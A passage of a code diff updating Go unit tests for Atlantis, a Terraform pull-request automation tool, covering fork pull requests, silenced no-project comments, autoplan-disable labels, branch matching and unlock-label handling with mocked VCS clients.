Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) - headRepo := fixtures.GithubRepo + headRepo := testdata.GithubRepo headRepo.FullName = "forkrepo/atlantis" headRepo.Owner = "forkrepo" - When(eventParsing.ParseGithubPull(&pull)).ThenReturn(modelPull, modelPull.BaseRepo, headRepo, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, headRepo, nil) - ch.RunCommentCommand(fixtures.GithubRepo, nil, nil, fixtures.User, fixtures.Pull.Num, nil) + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) commentMessage := fmt.Sprintf("Atlantis commands can't be run on fork pull requests. To enable, set --%s or, to disable this message, set --%s", ch.AllowForkPRsFlag, ch.SilenceForkPRErrorsFlag) - vcsClient.VerifyWasCalledOnce().CreateComment(fixtures.GithubRepo, modelPull.Num, commentMessage, "") + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(commentMessage), Eq("")) } func TestRunCommentCommand_ForkPRDisabled_SilenceEnabled(t *testing.T) { @@ -177,52 +373,211 @@ func TestRunCommentCommand_ForkPRDisabled_SilenceEnabled(t *testing.T) { ch.AllowForkPRs = false // by default it's false so don't need to reset ch.SilenceForkPRErrors = true var pull github.PullRequest - modelPull := models.PullRequest{BaseRepo: fixtures.GithubRepo, State: models.OpenPullState} - When(githubGetter.GetPullRequest(fixtures.GithubRepo, fixtures.Pull.Num)).ThenReturn(&pull, nil) + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) - headRepo := fixtures.GithubRepo + headRepo := testdata.GithubRepo headRepo.FullName = "forkrepo/atlantis" headRepo.Owner = "forkrepo" - When(eventParsing.ParseGithubPull(&pull)).ThenReturn(modelPull, modelPull.BaseRepo, headRepo, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, headRepo, nil) - ch.RunCommentCommand(fixtures.GithubRepo, nil, nil, fixtures.User, fixtures.Pull.Num, nil) - vcsClient.VerifyWasCalled(Never()).CreateComment(matchers.AnyModelsRepo(), AnyInt(), AnyString(), AnyString()) + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + vcsClient.VerifyWasCalled(Never()).CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) } -func TestRunCommentCommand_DisableApplyAllDisabled(t *testing.T) { - t.Log("if \"atlantis apply\" is run and this is disabled atlantis should" + - " comment saying that this is not allowed") +func TestRunCommentCommandPlan_NoProjects_SilenceEnabled(t *testing.T) { + t.Log("if a plan command is run on a pull request and SilenceNoProjects is enabled and we are silencing all comments if the modified files don't have a matching project") + vcsClient := setup(t) + planCommandRunner.SilenceNoProjects = true + var pull github.PullRequest + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + vcsClient.VerifyWasCalled(Never()).CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) + commitUpdater.VerifyWasCalledOnce().UpdateCombinedCount( + Any[logging.SimpleLogging](), + Any[models.Repo](), + Any[models.PullRequest](), + Eq[models.CommitStatus](models.SuccessCommitStatus), + Eq[command.Name](command.Plan), + Eq(0), + Eq(0), + ) +} + +func TestRunCommentCommandPlan_NoProjectsTarget_SilenceEnabled(t *testing.T) { + // TODO + t.Log("if a plan command is run against a project and SilenceNoProjects is enabled, we are silencing all comments if the project is not in the repo config") + vcsClient := setup(t) + planCommandRunner.SilenceNoProjects = true + var pull github.PullRequest + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan, ProjectName: "meow"}) + vcsClient.VerifyWasCalled(Never()).CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) + commitUpdater.VerifyWasCalledOnce().UpdateCombinedCount( + Any[logging.SimpleLogging](), + Any[models.Repo](), + Any[models.PullRequest](), + Eq[models.CommitStatus](models.SuccessCommitStatus), + Eq[command.Name](command.Plan), + Eq(0), + Eq(0), + ) +} + +func TestRunCommentCommandApply_NoProjects_SilenceEnabled(t *testing.T) { + t.Log("if an apply command is run on a pull request and SilenceNoProjects is enabled and we are silencing all comments if the modified files don't have a matching project") + vcsClient := setup(t) + applyCommandRunner.SilenceNoProjects = true + var pull github.PullRequest + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Apply}) + vcsClient.VerifyWasCalled(Never()).CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) + commitUpdater.VerifyWasCalledOnce().UpdateCombined( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq(models.PendingCommitStatus), Eq(command.Apply)) +} + +func TestRunCommentCommandApprovePolicy_NoProjects_SilenceEnabled(t *testing.T) { + t.Log("if an approve_policy command is run on a pull request and SilenceNoProjects is enabled and we are silencing all comments if the modified files don't have a matching project") + vcsClient := setup(t) + approvePoliciesCommandRunner.SilenceNoProjects = true + var pull github.PullRequest + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.ApprovePolicies}) + vcsClient.VerifyWasCalled(Never()).CreateComment( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) +} + +func TestRunCommentCommandUnlock_NoProjects_SilenceEnabled(t *testing.T) { + t.Log("if an unlock command is run on a pull request and SilenceNoProjects is enabled and we are silencing all comments if the modified files don't have a matching project") + vcsClient := setup(t) + unlockCommandRunner.SilenceNoProjects = true + var pull github.PullRequest + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Unlock}) + vcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) + commitUpdater.VerifyWasCalled(Never()).UpdateCombined( + Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Eq(models.PendingCommitStatus), Any[command.Name]()) +} + +func TestRunCommentCommandImport_NoProjects_SilenceEnabled(t *testing.T) { + t.Log("if an import command is run on a pull request and SilenceNoProjects is enabled, we are silencing all comments if the modified files don't have a matching project") vcsClient := setup(t) - ch.DisableApplyAll = true - modelPull := models.PullRequest{BaseRepo: fixtures.GithubRepo, State: models.OpenPullState} - ch.RunCommentCommand(fixtures.GithubRepo, nil, nil, fixtures.User, modelPull.Num, &events.CommentCommand{Name: models.ApplyCommand}) - vcsClient.VerifyWasCalledOnce().CreateComment(fixtures.GithubRepo, modelPull.Num, "**Error:** Running `atlantis apply` without flags is disabled. You must specify which project to apply via the `-d `, `-w ` or `-p ` flags.", "apply") + importCommandRunner.SilenceNoProjects = true + var pull github.PullRequest + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Import}) + vcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) } -func TestRunCommentCommand_ApplyDisabled(t *testing.T) { - t.Log("if \"atlantis apply\" is run and this is disabled globally atlantis should" + +func TestRunCommentCommand_DisableApplyAllDisabled(t *testing.T) { + t.Log("if \"atlantis apply\" is run and this is disabled atlantis should" + " comment saying that this is not allowed") vcsClient := setup(t) - ch.DisableApply = true - modelPull := models.PullRequest{State: models.OpenPullState} - ch.RunCommentCommand(fixtures.GithubRepo, nil, nil, fixtures.User, modelPull.Num, &events.CommentCommand{Name: models.ApplyCommand}) - vcsClient.VerifyWasCalledOnce().CreateComment(fixtures.GithubRepo, modelPull.Num, "**Error:** Running `atlantis apply` is disabled.", "apply") + applyCommandRunner.DisableApplyAll = true + pull := &github.PullRequest{ + State: github.Ptr("open"), + } + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, modelPull.Num, &events.CommentCommand{Name: command.Apply}) + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), + Eq("**Error:** Running `atlantis apply` without flags is disabled. You must specify which project to apply via the `-d `, `-w ` or `-p ` flags."), Eq("apply")) } -func TestRunCommentCommand_DisableDisableAutoplan(t *testing.T) { - t.Log("if \"DisableAutoplan is true\" are disabled and we are silencing return and do not comment with error") +func TestRunCommentCommand_DisableAutoplan(t *testing.T) { + t.Log("if \"DisableAutoplan\" is true, auto plans are disabled and we are silencing return and do not comment with error") setup(t) + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: "main"} + ch.DisableAutoplan = true defer func() { ch.DisableAutoplan = false }() - When(projectCommandBuilder.BuildAutoplanCommands(matchers.AnyPtrToEventsCommandContext())). - ThenReturn([]models.ProjectCommandContext{ - {}, - {}, + When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). + ThenReturn([]command.ProjectContext{ + { + CommandName: command.Plan, + }, + { + CommandName: command.Plan, + }, + }, nil) + When(commitUpdater.UpdateCombinedCount(Any[logging.SimpleLogging](), Any[models.Repo](), Any[models.PullRequest](), Any[models.CommitStatus](), Any[command.Name](), Any[int](), Any[int]())).ThenReturn(nil) + ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, modelPull, testdata.User) + projectCommandBuilder.VerifyWasCalled(Never()).BuildAutoplanCommands(Any[*command.Context]()) +} + +func TestRunCommentCommand_DisableAutoplanLabel(t *testing.T) { + t.Log("if \"DisableAutoplanLabel\" is present and pull request has that label, auto plans are disabled and we are silencing return and do not comment with error") + vcsClient := setup(t) + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: "main"} + + ch.DisableAutoplanLabel = "disable-auto-plan" + defer func() { ch.DisableAutoplanLabel = "" }() + + When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). + ThenReturn([]command.ProjectContext{ + { + CommandName: command.Plan, + }, + { + CommandName: command.Plan, + }, }, nil) + When(ch.VCSClient.GetPullLabels( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull))).ThenReturn([]string{"disable-auto-plan", "need-help"}, nil) - ch.RunAutoplanCommand(fixtures.GithubRepo, fixtures.GithubRepo, fixtures.Pull, fixtures.User) - projectCommandBuilder.VerifyWasCalled(Never()).BuildAutoplanCommands(matchers.AnyPtrToEventsCommandContext()) + ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, modelPull, testdata.User) + projectCommandBuilder.VerifyWasCalled(Never()).BuildAutoplanCommands(Any[*command.Context]()) + vcsClient.VerifyWasCalledOnce().GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull)) +} + +func TestRunCommentCommand_DisableAutoplanLabel_PullNotLabeled(t *testing.T) { + t.Log("if \"DisableAutoplanLabel\" is present but pull request doesn't have that label, auto plans run") + vcsClient := setup(t) + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: "main"} + + ch.DisableAutoplanLabel = "disable-auto-plan" + defer func() { ch.DisableAutoplanLabel = "" }() + + When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). + ThenReturn([]command.ProjectContext{ + { + CommandName: command.Plan, + }, + { + CommandName: command.Plan, + }, + }, nil) + When(ch.VCSClient.GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull))).ThenReturn(nil, nil) + + ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, modelPull, testdata.User) + projectCommandBuilder.VerifyWasCalled(Once()).BuildAutoplanCommands(Any[*command.Context]()) + vcsClient.VerifyWasCalledOnce().GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull)) } func TestRunCommentCommand_ClosedPull(t *testing.T) { @@ -230,32 +585,93 @@ func TestRunCommentCommand_ClosedPull(t *testing.T) { " comment saying that this is not allowed") vcsClient := setup(t) pull := &github.PullRequest{ - State: github.String("closed"), + State: github.Ptr("closed"), } - modelPull := models.PullRequest{BaseRepo: fixtures.GithubRepo, State: models.ClosedPullState} - When(githubGetter.GetPullRequest(fixtures.GithubRepo, fixtures.Pull.Num)).ThenReturn(pull, nil) - When(eventParsing.ParseGithubPull(pull)).ThenReturn(modelPull, modelPull.BaseRepo, fixtures.GithubRepo, nil) + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.ClosedPullState, Num: testdata.Pull.Num} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) - ch.RunCommentCommand(fixtures.GithubRepo, &fixtures.GithubRepo, nil, fixtures.User, fixtures.Pull.Num, nil) - vcsClient.VerifyWasCalledOnce().CreateComment(fixtures.GithubRepo, modelPull.Num, "Atlantis commands can't be run on closed pull requests", "") + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq("Atlantis commands can't be run on closed pull requests"), Eq("")) } -func TestRunUnlockCommand_VCSComment(t *testing.T) { - t.Log("if unlock PR command is run, atlantis should" + - " invoke the delete command and comment on PR accordingly") +func TestRunCommentCommand_MatchedBranch(t *testing.T) { + t.Log("if a command is run on a pull request which matches base branches run plan successfully") + vcsClient := setup(t) + ch.GlobalCfg.Repos = append(ch.GlobalCfg.Repos, valid.Repo{ + IDRegex: regexp.MustCompile(".*"), + BranchRegex: regexp.MustCompile("^main$"), + }) + var pull github.PullRequest + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: "main"} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq("Ran Plan for 0 projects:"), Eq("plan")) +} + +func TestRunCommentCommand_UnmatchedBranch(t *testing.T) { + t.Log("if a command is run on a pull request which doesn't match base branches do not comment with error") vcsClient := setup(t) - pull := &github.PullRequest{ - State: github.String("open"), + + ch.GlobalCfg.Repos = append(ch.GlobalCfg.Repos, valid.Repo{ + IDRegex: regexp.MustCompile(".*"), + BranchRegex: regexp.MustCompile("^main$"), + }) + var pull github.PullRequest + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, BaseBranch: "foo"} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num))).ThenReturn(&pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(&pull))).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil) + + ch.RunCommentCommand(testdata.GithubRepo, nil, nil, testdata.User, testdata.Pull.Num, &events.CommentCommand{Name: command.Plan}) + vcsClient.VerifyWasCalled(Never()).CreateComment(Any[logging.SimpleLogging](), Any[models.Repo](), Any[int](), Any[string](), Any[string]()) +} + +func TestRunUnlockCommand_VCSComment(t *testing.T) { + testCases := []struct { + name string + prState *string + }{ + { + name: "PR open", + prState: github.Ptr("open"), + }, + + { + name: "PR closed", + prState: github.Ptr("closed"), + }, } - modelPull := models.PullRequest{BaseRepo: fixtures.GithubRepo, State: models.OpenPullState} - When(githubGetter.GetPullRequest(fixtures.GithubRepo, fixtures.Pull.Num)).ThenReturn(pull, nil) - When(eventParsing.ParseGithubPull(pull)).ThenReturn(modelPull, modelPull.BaseRepo, fixtures.GithubRepo, nil) - ch.RunCommentCommand(fixtures.GithubRepo, &fixtures.GithubRepo, nil, fixtures.User, fixtures.Pull.Num, &events.CommentCommand{Name: models.UnlockCommand}) + for _, tc := range testCases { + t.Run(tc.name, func(t *testing.T) { + t.Logf("if an unlock command is run on a pull request in state %s, atlantis should"+ + " invoke the delete command and comment on PR accordingly", *tc.prState) - deleteLockCommand.VerifyWasCalledOnce().DeleteLocksByPull(fixtures.GithubRepo.FullName, fixtures.Pull.Num) - vcsClient.VerifyWasCalledOnce().CreateComment(fixtures.GithubRepo, fixtures.Pull.Num, "All Atlantis locks for this PR have been unlocked and plans discarded", "unlock") + vcsClient := setup(t) + pull := &github.PullRequest{ + State: tc.prState, + } + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), + Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, + testdata.GithubRepo, nil) + + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, + &events.CommentCommand{Name: command.Unlock}) + + deleteLockCommand.VerifyWasCalledOnce().DeleteLocksByPull(Any[logging.SimpleLogging](), + Eq(testdata.GithubRepo.FullName), Eq(testdata.Pull.Num)) + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), + Eq("All Atlantis locks for this PR have been unlocked and plans discarded"), Eq("unlock")) + }) + } } func TestRunUnlockCommandFail_VCSComment(t *testing.T) { @@ -264,59 +680,544 @@ func TestRunUnlockCommandFail_VCSComment(t *testing.T) { vcsClient := setup(t) pull := &github.PullRequest{ - State: github.String("open"), + State: github.Ptr("open"), } - modelPull := models.PullRequest{BaseRepo: fixtures.GithubRepo, State: models.OpenPullState} - When(githubGetter.GetPullRequest(fixtures.GithubRepo, fixtures.Pull.Num)).ThenReturn(pull, nil) - When(eventParsing.ParseGithubPull(pull)).ThenReturn(modelPull, modelPull.BaseRepo, fixtures.GithubRepo, nil) - When(deleteLockCommand.DeleteLocksByPull(fixtures.GithubRepo.FullName, fixtures.Pull.Num)).ThenReturn(errors.New("err")) + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), + Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, + testdata.GithubRepo, nil) + When(deleteLockCommand.DeleteLocksByPull(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo.FullName), + Eq(testdata.Pull.Num))).ThenReturn(0, errors.New("err")) - ch.RunCommentCommand(fixtures.GithubRepo, &fixtures.GithubRepo, nil, fixtures.User, fixtures.Pull.Num, &events.CommentCommand{Name: models.UnlockCommand}) + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, + &events.CommentCommand{Name: command.Unlock}) - vcsClient.VerifyWasCalledOnce().CreateComment(fixtures.GithubRepo, fixtures.Pull.Num, "Failed to delete PR locks", "unlock") + vcsClient.VerifyWasCalledOnce().CreateComment( + Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), Eq("Failed to delete PR locks"), Eq("unlock")) +} + +func TestRunUnlockCommandFail_DisableUnlockLabel(t *testing.T) { + t.Log("if PR has label equal to disable-unlock-label unlock should fail") + + doNotUnlock := "do-not-unlock" + + vcsClient := setup(t) + pull := &github.PullRequest{ + State: github.Ptr("open"), + } + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), + Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, + testdata.GithubRepo, nil) + When(deleteLockCommand.DeleteLocksByPull(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo.FullName), + Eq(testdata.Pull.Num))).ThenReturn(0, errors.New("err")) + When(ch.VCSClient.GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), + Eq(modelPull))).ThenReturn([]string{doNotUnlock, "need-help"}, nil) + + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, + &events.CommentCommand{Name: command.Unlock}) + + vcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), + Eq(testdata.Pull.Num), Eq("Not allowed to unlock PR with "+doNotUnlock+" label"), Eq("unlock")) +} + +func TestRunUnlockCommandFail_GetLabelsFail(t *testing.T) { + t.Log("if GetPullLabels fails do not unlock PR") + + vcsClient := setup(t) + pull := &github.PullRequest{ + State: github.Ptr("open"), + } + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), + Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, + testdata.GithubRepo, nil) + When(deleteLockCommand.DeleteLocksByPull(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo.FullName), + Eq(testdata.Pull.Num))).ThenReturn(0, errors.New("err")) + When(ch.VCSClient.GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), + Eq(modelPull))).ThenReturn(nil, errors.New("err")) + + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, + &events.CommentCommand{Name: command.Unlock}) + + vcsClient.VerifyWasCalledOnce().CreateComment(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(testdata.Pull.Num), + Eq("Failed to retrieve PR labels... Not unlocking"), Eq("unlock")) +} + +func TestRunUnlockCommandDoesntRetrieveLabelsIfDisableUnlockLabelNotSet(t *testing.T) { + t.Log("if disable-unlock-label is not set do not call GetPullLabels") + + doNotUnlock := "do-not-unlock" + + vcsClient := setup(t) + pull := &github.PullRequest{ + State: github.Ptr("open"), + } + modelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num} + When(githubGetter.GetPullRequest(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), + Eq(testdata.Pull.Num))).ThenReturn(pull, nil) + When(eventParsing.ParseGithubPull(Any[logging.SimpleLogging](), Eq(pull))).ThenReturn(modelPull, modelPull.BaseRepo, + testdata.GithubRepo, nil) + When(deleteLockCommand.DeleteLocksByPull(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo.FullName), + Eq(testdata.Pull.Num))).ThenReturn(0, errors.New("err")) + When(ch.VCSClient.GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), + Eq(modelPull))).ThenReturn([]string{doNotUnlock, "need-help"}, nil) + unlockCommandRunner.DisableUnlockLabel = "" + + ch.RunCommentCommand(testdata.GithubRepo, &testdata.GithubRepo, nil, testdata.User, testdata.Pull.Num, + &events.CommentCommand{Name: command.Unlock}) + + vcsClient.VerifyWasCalled(Never()).GetPullLabels(Any[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull)) } -// Test that if one plan fails and we are using automerge, that -// we delete the plans. func TestRunAutoplanCommand_DeletePlans(t *testing.T) { setup(t) - tmp, cleanup := TempDir(t) - defer cleanup() + tmp := t.TempDir() + boltDB, err := db.New(tmp) + t.Cleanup(func() { + boltDB.Close() + }) + Ok(t, err) + dbUpdater.Backend = boltDB + applyCommandRunner.Backend = boltDB + autoMerger.GlobalAutomerge = true + defer func() { autoMerger.GlobalAutomerge = false }() + + When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). + ThenReturn([]command.ProjectContext{ + { + CommandName: command.Plan, + }, + { + CommandName: command.Plan, + }, + }, nil) + When(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectResult{PlanSuccess: &models.PlanSuccess{}}) + When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil) + testdata.Pull.BaseRepo = testdata.GithubRepo + ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User) + pendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp) + lockingLocker.VerifyWasCalledOnce().UnlockByPull(testdata.Pull.BaseRepo.FullName, testdata.Pull.Num) +} + +func TestRunAutoplanCommand_FailedPreWorkflowHook_FailOnPreWorkflowHookError_False(t *testing.T) { + setup(t) + tmp := t.TempDir() + boltDB, err := db.New(tmp) + t.Cleanup(func() { + boltDB.Close() + }) + Ok(t, err) + dbUpdater.Backend = boltDB + applyCommandRunner.Backend = boltDB + + When(projectCommandBuilder.BuildAutoplanCommands(Any[*command.Context]())). + ThenReturn([]command.ProjectContext{ + { + CommandName: command.Plan, + }, + }, nil) + When(projectCommandRunner.Plan(Any[command.ProjectContext]())).ThenReturn(command.ProjectResult{PlanSuccess: &models.PlanSuccess{}}) + When(workingDir.GetPullDir(Any[models.Repo](), Any[models.PullRequest]())).ThenReturn(tmp, nil) + When(preWorkflowHooksCommandRunner.RunPreHooks(Any[*command.Context](), Any[*events.CommentCommand]())).ThenReturn(errors.New("err")) + testdata.Pull.BaseRepo = testdata.GithubRepo + ch.FailOnPreWorkflowHookError = false + ch.RunAutoplanCommand(testdata.GithubRepo, testdata.GithubRepo, testdata.Pull, testdata.User) + pendingPlanFinder.VerifyWasCalledOnce().DeletePlans(tmp) + 